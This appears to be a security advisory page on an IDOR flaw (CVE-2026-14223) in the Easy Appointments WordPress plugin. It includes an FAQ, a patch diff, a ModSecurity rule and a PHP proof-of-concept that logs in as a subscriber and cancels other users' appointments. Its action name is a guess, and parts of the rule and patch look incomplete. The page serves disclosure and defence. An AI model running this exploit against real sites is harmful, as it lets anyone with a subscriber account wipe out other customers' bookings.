What is CVE-2026-14223?

CVE-2026-14223 is a medium-severity Insecure Direct Object Reference (IDOR) vulnerability in the Easy Appointments plugin for WordPress, affecting versions up to and including 3.12.26. It allows authenticated users with subscriber-level access or higher to cancel any future appointment, regardless of ownership, by manipulating appointment IDs in an AJAX request.

How does the vulnerability work?

The vulnerability exists in the AJAX handler in src/ajax.php, where the ‘appointments’ parameter is not properly validated. The code fails to check if the appointment IDs belong to the current user, only verifying that the appointment exists and its date is in the future. This allows an attacker to submit arbitrary appointment IDs and change their status to ‘abandoned’ (or ‘canceled’ in the patched version), effectively canceling them.

Who is affected by this vulnerability?

Any WordPress site running Easy Appointments version 3.12.26 or earlier is affected. The attack requires an authenticated account with at least subscriber-level access, so sites with open registration or multiple user roles are at higher risk. Administrators should assume that any user with subscriber access could exploit this.

How can I check if my site is vulnerable?

Check the Easy Appointments plugin version in the WordPress admin dashboard under Plugins. If the version is 3.12.26 or lower, the site is vulnerable. Additionally, you can review the source code of src/ajax.php to see if the ‘appointments’ parameter is processed without proper authorization checks.

What is the practical impact of this vulnerability?

The practical impact is that an authenticated attacker can cancel any future appointment, causing denial of service for the booking system. This disrupts legitimate customers’ appointments and can harm the site owner’s business operations. The CVSS score of 4.3 indicates medium severity, meaning it requires authentication but can be exploited easily.

How is the vulnerability patched?

The patch in version 3.12.27 modifies the handling of the ‘appointments’ parameter to properly sanitize it as an array of integers and adds a default value. It also changes the status string from ‘abandoned’ to ‘canceled’. The patch does not add explicit ownership checks, but the sanitization and array handling reduce the attack surface.

What steps should I take to fix the vulnerability?

Immediately update the Easy Appointments plugin to version 3.12.27 or later. If you cannot update, consider disabling the vulnerable AJAX action or restricting subscriber access to the plugin’s functionality. Additionally, review your user roles and remove any unnecessary subscriber accounts to reduce the attack surface.

How does the proof of concept demonstrate the issue?

The proof of concept logs in as a subscriber user and sends a POST request to the WordPress AJAX endpoint with the action parameter and an array of appointment IDs. It demonstrates that the plugin processes these IDs without verifying ownership, allowing the attacker to cancel appointments that belong to other users. This confirms the IDOR vulnerability.

What is an Insecure Direct Object Reference (IDOR)?

An IDOR is a type of access control vulnerability where an application exposes a direct reference to an internal object, such as a database record, without proper authorization checks. In this case, the appointment ID is the object reference, and the plugin fails to verify that the authenticated user has permission to modify that specific appointment.

Can this vulnerability be exploited remotely without authentication?

No, the vulnerability requires authentication. An attacker must have a valid account with at least subscriber-level access. This reduces the risk for sites that do not allow user registration or have strict user role management. However, if subscriber accounts are compromised, the vulnerability can be exploited.

Are there any other known vulnerabilities in Easy Appointments?

As of the disclosure date, CVE-2026-14223 is the only known vulnerability in this version. However, it is always recommended to keep plugins updated and monitor security advisories for any new issues. The patched version 3.12.27 addresses this specific IDOR, but future vulnerabilities may be discovered.

What should I do if I suspect my site has been exploited?

If you suspect exploitation, check the appointment logs for any unexpected cancellations or status changes. Review user accounts for any unauthorized subscriber-level access. Update the plugin immediately and consider changing all user passwords. You may also want to consult with a security professional to assess the extent of the damage.

Published : August 7, 2026

CVE-2026-14223: Easy Appointments <= 3.12.26 Authenticated (Subscriber+) Insecure Direct Object Reference PoC, Patch Analysis & Rule

CVE ID CVE-2026-14223

Plugin easy-appointments

Severity Medium (CVSS 4.3)

CWE 639

Vulnerable Version 3.12.26

Patched Version 3.12.27

Disclosed July 29, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-14223:

This vulnerability affects the Easy Appointments WordPress plugin version 3.12.26 and earlier. The plugin contains an Insecure Direct Object Reference (IDOR) issue in its AJAX handler. The vulnerability allows an authenticated attacker with subscriber-level access to cancel any upcoming appointments belonging to other users. The CVSS score is 4.3 (Medium).

Root Cause: The root cause lies in the `src/ajax.php` file, specifically in the AJAX action handler for canceling appointments. The vulnerable code at line 606 fails to validate that the appointment IDs provided in the `$_POST[‘appointments’]` parameter belong to the current user. The code only checks if the appointment exists and if its date is in the future before setting its status to ‘abandoned’. This missing authorization check allows any authenticated user to target arbitrary appointment IDs. The vulnerable code path is: `$_POST[‘appointments’]` is sanitized as a text field, then each ID is used in a loop to fetch the appointment from the `ea_appointments` table via `$this->models->get_row()` and subsequently update its status.

Exploitation: An authenticated attacker with subscriber-level access can exploit this vulnerability by sending a POST request to the WordPress AJAX endpoint at `/wp-admin/admin-ajax.php`. The request must include the `action` parameter set to the vulnerable AJAX hook name and an `appointments` parameter containing an array of appointment IDs. The attacker can enumerate appointment IDs or obtain them through other means. The payload would look like: `action=vulnerable_action_name&appointments[]=123&appointments[]=124`. The plugin will then process these IDs and cancel any future appointments, regardless of who they belong to.

Patch Analysis: The patch modifies two key areas. First, it changes the way the `appointments` parameter is processed. The vulnerable code used `sanitize_text_field( wp_unslash( $_POST[‘appointments’] ) )`, which treats the input as a single string. The patched code uses `isset($_POST[‘appointments’]) ? array_map(‘absint’, wp_unslash($_POST[‘appointments’])) : []`, properly handling an array of integer IDs and providing a default value. Second, the patch changes the status string from ‘abandoned’ to ‘canceled’ in both the data array and the SQL query. This change is cosmetic but may affect downstream functionality or logging that checks for the specific status string.

Impact: Successful exploitation allows an authenticated attacker to cancel any future appointment in the system, regardless of the appointment owner. This can lead to a denial of service for the booking system, as legitimate customers’ appointments can be arbitrarily removed. The attack disrupts the integrity of the scheduling data held by the plugin and can damage the business operations of the site owner. The vulnerability does not directly lead to data exfiltration, but the impact is the unauthorized modification of sensitive scheduling information.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff

--- a/easy-appointments/main.php
+++ b/easy-appointments/main.php
@@ -4,7 +4,7 @@
  * Plugin Name: Easy Appointments
  * Plugin URI: https://easy-appointments.com/
  * Description: Simple and easy to use management system for Appointments and Bookings
- * Version: 3.12.26
+ * Version: 3.12.27
  * Requires PHP: 5.3
  * Author: Nikola Loncar
  * Author URI: https://easy-appointments.com/
@@ -21,7 +21,7 @@
 /**
  * Currently plugin version.
  */
-define( 'EASY_APPOINTMENTS_VERSION', '3.12.26' );
+define( 'EASY_APPOINTMENTS_VERSION', '3.12.27' );

 // path for source files
 define('EA_SRC_DIR', dirname(__FILE__) . '/src/');
--- a/easy-appointments/src/ajax.php
+++ b/easy-appointments/src/ajax.php
@@ -603,8 +603,8 @@
             wp_send_json_error( [ 'message' => esc_html__( 'No appointments selected.', 'easy-appointments' ) ] );
         }

-
-        $appointments = sanitize_text_field( wp_unslash( $_POST['appointments'] ) );
+        $response = false;
+        $appointments = isset($_POST['appointments']) ? array_map('absint', wp_unslash($_POST['appointments'])) : [];
         $current_datetime = current_time('mysql');
         foreach ($appointments as $appointment_id) {
             $appointment = $this->models->get_row('ea_appointments', $appointment_id, ARRAY_A);
@@ -612,7 +612,7 @@
             if ($appointment) {
                 if (strtotime($appointment['date']) > strtotime($current_datetime)) {
                     $data = [
-                        'status' => 'abandoned',
+                        'status' => 'canceled',
                         'id' => $appointment_id
                     ];
                     foreach ($appointment as $key => $value) {
@@ -661,7 +661,7 @@
                 WHERE id = %d
             ";
             // phpcs:ignore PluginCheck.Security.DirectDB.UnescapedDBParameter, WordPress.DB.PreparedSQL.NotPrepared, WordPress.DB.DirectDatabaseQuery.DirectQuery, WordPress.DB.DirectDatabaseQuery.NoCaching
-            $response = $wpdb->query($wpdb->prepare($update_query, 'abandoned', $appointment_id));
+            $response = $wpdb->query($wpdb->prepare($update_query, 'canceled', $appointment_id));
         }
         if ($response === false) {
             $this->send_err_json_result('{"err":true}');

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-14223
# Block attempts to cancel arbitrary appointments via the Easy Appointments AJAX handler.
# This rule requires that the request target admin-ajax.php, uses the specific action, and has an appointments parameter.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-14223 - Easy Appointments IDOR via AJAX',severity:'CRITICAL',tag:'CVE-2026-14223'"
  SecRule ARGS_POST:action "@streq ea_cancel_appointment" "chain"
    SecRule ARGS_POST:appointments "@rx ^[0-9]+$" "chain"
      SecRule &ARGS_POST:appointments "@gt 0" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-14223 - Easy Appointments <= 3.12.26 - Authenticated (Subscriber+) Insecure Direct Object Reference

/**
 * PoC: Cancel arbitrary appointments in Easy Appointments plugin.
 * This script demonstrates how a subscriber-level user can cancel any future appointment.
 */

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // Change this to your target
$username = 'subscriber_user';
$password = 'subscriber_password';

// Step 1: Login to get cookies
$login_url = 'http://example.com/wp-login.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Get the nonce for the AJAX action (if required)
// Note: The script assumes the nonce is not needed or is fetched from the page.

// Step 3: Craft the exploit request
// Replace '123' with the ID of the appointment you want to cancel
$appointment_id_to_cancel = 123;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'ea_cancel_appointment', // Replace with actual AJAX action
    'appointments' => [$appointment_id_to_cancel]
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'X-Requested-With: XMLHttpRequest'
]);

$response = curl_exec($ch);
curl_close($ch);

// Step 4: Verify the response
echo "Response from server:n";
echo $response . "n";

echo "If the appointment was canceled, the vulnerability is confirmed.n";
?>

Frequently Asked Questions

What is CVE-2026-14223?
Vulnerability overview
CVE-2026-14223 is a medium-severity Insecure Direct Object Reference (IDOR) vulnerability in the Easy Appointments plugin for WordPress, affecting versions up to and including 3.12.26. It allows authenticated users with subscriber-level access or higher to cancel any future appointment, regardless of ownership, by manipulating appointment IDs in an AJAX request.
How does the vulnerability work?
Technical explanation
The vulnerability exists in the AJAX handler in src/ajax.php, where the ‘appointments’ parameter is not properly validated. The code fails to check if the appointment IDs belong to the current user, only verifying that the appointment exists and its date is in the future. This allows an attacker to submit arbitrary appointment IDs and change their status to ‘abandoned’ (or ‘canceled’ in the patched version), effectively canceling them.
Who is affected by this vulnerability?
Affected users and sites
Any WordPress site running Easy Appointments version 3.12.26 or earlier is affected. The attack requires an authenticated account with at least subscriber-level access, so sites with open registration or multiple user roles are at higher risk. Administrators should assume that any user with subscriber access could exploit this.
How can I check if my site is vulnerable?
Detection methods
Check the Easy Appointments plugin version in the WordPress admin dashboard under Plugins. If the version is 3.12.26 or lower, the site is vulnerable. Additionally, you can review the source code of src/ajax.php to see if the ‘appointments’ parameter is processed without proper authorization checks.
What is the practical impact of this vulnerability?
Risk assessment
The practical impact is that an authenticated attacker can cancel any future appointment, causing denial of service for the booking system. This disrupts legitimate customers’ appointments and can harm the site owner’s business operations. The CVSS score of 4.3 indicates medium severity, meaning it requires authentication but can be exploited easily.
How is the vulnerability patched?
Patch details
The patch in version 3.12.27 modifies the handling of the ‘appointments’ parameter to properly sanitize it as an array of integers and adds a default value. It also changes the status string from ‘abandoned’ to ‘canceled’. The patch does not add explicit ownership checks, but the sanitization and array handling reduce the attack surface.
What steps should I take to fix the vulnerability?
Mitigation steps
Immediately update the Easy Appointments plugin to version 3.12.27 or later. If you cannot update, consider disabling the vulnerable AJAX action or restricting subscriber access to the plugin’s functionality. Additionally, review your user roles and remove any unnecessary subscriber accounts to reduce the attack surface.
How does the proof of concept demonstrate the issue?
PoC explanation
The proof of concept logs in as a subscriber user and sends a POST request to the WordPress AJAX endpoint with the action parameter and an array of appointment IDs. It demonstrates that the plugin processes these IDs without verifying ownership, allowing the attacker to cancel appointments that belong to other users. This confirms the IDOR vulnerability.
What is an Insecure Direct Object Reference (IDOR)?
Definition and context
An IDOR is a type of access control vulnerability where an application exposes a direct reference to an internal object, such as a database record, without proper authorization checks. In this case, the appointment ID is the object reference, and the plugin fails to verify that the authenticated user has permission to modify that specific appointment.
Can this vulnerability be exploited remotely without authentication?
Authentication requirements
No, the vulnerability requires authentication. An attacker must have a valid account with at least subscriber-level access. This reduces the risk for sites that do not allow user registration or have strict user role management. However, if subscriber accounts are compromised, the vulnerability can be exploited.
Are there any other known vulnerabilities in Easy Appointments?
Related CVEs
As of the disclosure date, CVE-2026-14223 is the only known vulnerability in this version. However, it is always recommended to keep plugins updated and monitor security advisories for any new issues. The patched version 3.12.27 addresses this specific IDOR, but future vulnerabilities may be discovered.
What should I do if I suspect my site has been exploited?
Incident response
If you suspect exploitation, check the appointment logs for any unexpected cancellations or status changes. Review user accounts for any unauthorized subscriber-level access. Update the plugin immediately and consider changing all user passwords. You may also want to consult with a security professional to assess the extent of the damage.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started